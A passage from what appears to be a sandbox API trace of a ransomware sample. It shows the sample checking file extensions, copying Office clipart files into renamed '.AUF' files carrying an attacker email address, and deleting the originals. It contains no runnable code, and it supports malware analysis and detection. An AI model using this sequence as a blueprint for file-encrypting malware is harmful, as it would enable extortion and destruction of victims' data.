Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0220.206] lstrlenW (lpString=".dbf") returned 4 [0220.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0220.206] lstrlenW (lpString=".1cd") returned 4 [0220.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0220.206] lstrlenW (lpString=".jpg") returned 4 [0220.206] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.212] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=3588) returned 1 [0220.212] CloseHandle (hObject=0x1d8) returned 1 [0220.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0220.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0220.213] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.213] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.214] GetLastError () returned 0x0 [0220.214] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xe04, lpOverlapped=0x0) returned 1 [0220.290] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0220.291] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.291] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.291] SetEndOfFile (hFile=0x1f4) returned 1 [0220.291] CloseHandle (hObject=0x1f4) returned 1 [0220.291] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.291] SetEndOfFile (hFile=0x1d8) returned 1 [0220.292] CloseHandle (hObject=0x1d8) returned 1 [0220.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0220.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0220.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0220.293] lstrlenW (lpString=".doc") returned 4 [0220.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.293] lstrlenW (lpString=".docx") returned 5 [0220.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.293] lstrlenW (lpString=".pdf") returned 4 [0220.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.293] lstrlenW (lpString=".xls") returned 4 [0220.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.293] lstrlenW (lpString=".xlsx") returned 5 [0220.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.293] lstrlenW (lpString=".ppt") returned 4 [0220.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0220.293] lstrlenW (lpString=".zip") returned 4 [0220.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.293] lstrlenW (lpString=".rar") returned 4 [0220.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.293] lstrlenW (lpString=".bz2") returned 4 [0220.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.293] lstrlenW (lpString=".7z") returned 3 [0220.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0220.294] lstrlenW (lpString=".dbf") returned 4 [0220.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0220.294] lstrlenW (lpString=".1cd") returned 4 [0220.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0220.294] lstrlenW (lpString=".jpg") returned 4 [0220.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.294] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2232) returned 1 [0220.294] CloseHandle (hObject=0x1d8) returned 1 [0220.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x20 [0220.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0220.294] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.294] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.295] GetLastError () returned 0x0 [0220.295] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x8b8, lpOverlapped=0x0) returned 1 [0220.351] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0220.352] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.352] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.352] SetEndOfFile (hFile=0x1f4) returned 1 [0220.352] CloseHandle (hObject=0x1f4) returned 1 [0220.352] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.352] SetEndOfFile (hFile=0x1d8) returned 1 [0220.353] CloseHandle (hObject=0x1d8) returned 1 [0220.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf")) returned 1 [0220.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0220.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0220.353] lstrlenW (lpString=".doc") returned 4 [0220.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.353] lstrlenW (lpString=".docx") returned 5 [0220.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.353] lstrlenW (lpString=".pdf") returned 4 [0220.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.353] lstrlenW (lpString=".xls") returned 4 [0220.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.353] lstrlenW (lpString=".xlsx") returned 5 [0220.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.353] lstrlenW (lpString=".ppt") returned 4 [0220.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0220.353] lstrlenW (lpString=".zip") returned 4 [0220.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.353] lstrlenW (lpString=".rar") returned 4 [0220.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.354] lstrlenW (lpString=".bz2") returned 4 [0220.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.354] lstrlenW (lpString=".7z") returned 3 [0220.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0220.354] lstrlenW (lpString=".dbf") returned 4 [0220.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0220.354] lstrlenW (lpString=".1cd") returned 4 [0220.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0220.354] lstrlenW (lpString=".jpg") returned 4 [0220.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.354] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2296) returned 1 [0220.354] CloseHandle (hObject=0x1d8) returned 1 [0220.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0220.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0220.354] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.354] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.355] GetLastError () returned 0x0 [0220.355] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0220.433] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x900, lpOverlapped=0x0) returned 1 [0220.434] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.434] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.434] SetEndOfFile (hFile=0x1f4) returned 1 [0220.440] CloseHandle (hObject=0x1f4) returned 1 [0220.440] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.440] SetEndOfFile (hFile=0x1d8) returned 1 [0220.440] CloseHandle (hObject=0x1d8) returned 1 [0220.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0220.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0220.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0220.441] lstrlenW (lpString=".doc") returned 4 [0220.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.441] lstrlenW (lpString=".docx") returned 5 [0220.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.441] lstrlenW (lpString=".pdf") returned 4 [0220.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.441] lstrlenW (lpString=".xls") returned 4 [0220.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.441] lstrlenW (lpString=".xlsx") returned 5 [0220.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.441] lstrlenW (lpString=".ppt") returned 4 [0220.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0220.441] lstrlenW (lpString=".zip") returned 4 [0220.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.441] lstrlenW (lpString=".rar") returned 4 [0220.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.441] lstrlenW (lpString=".bz2") returned 4 [0220.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.441] lstrlenW (lpString=".7z") returned 3 [0220.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0220.441] lstrlenW (lpString=".dbf") returned 4 [0220.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0220.441] lstrlenW (lpString=".1cd") returned 4 [0220.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0220.441] lstrlenW (lpString=".jpg") returned 4 [0220.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.442] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=900) returned 1 [0220.442] CloseHandle (hObject=0x1d8) returned 1 [0220.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0220.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0220.443] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.443] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.443] GetLastError () returned 0x0 [0220.443] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x384, lpOverlapped=0x0) returned 1 [0220.446] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x390, lpOverlapped=0x0) returned 1 [0220.446] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.446] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.447] SetEndOfFile (hFile=0x1f4) returned 1 [0220.447] CloseHandle (hObject=0x1f4) returned 1 [0220.447] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.447] SetEndOfFile (hFile=0x1d8) returned 1 [0220.447] CloseHandle (hObject=0x1d8) returned 1 [0220.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0220.448] lstrlenW (lpString=".doc") returned 4 [0220.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString=".docx") returned 5 [0220.448] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0220.448] lstrlenW (lpString=".pdf") returned 4 [0220.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString=".xls") returned 4 [0220.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0220.448] lstrlenW (lpString=".xlsx") returned 5 [0220.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0220.448] lstrlenW (lpString=".ppt") returned 4 [0220.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0220.448] lstrlenW (lpString=".zip") returned 4 [0220.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0220.448] lstrlenW (lpString=".rar") returned 4 [0220.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString=".bz2") returned 4 [0220.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString=".7z") returned 3 [0220.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0220.448] lstrlenW (lpString=".dbf") returned 4 [0220.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0220.448] lstrlenW (lpString=".1cd") returned 4 [0220.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0220.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 63 [0220.448] lstrlenW (lpString=".jpg") returned 4 [0220.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0220.449] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=2524) returned 1 [0220.449] CloseHandle (hObject=0x1d8) returned 1 [0220.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0220.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0220.449] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.449] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.450] GetLastError () returned 0x0 [0220.450] ReadFile (in: hFile=0x1d8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x9dc, 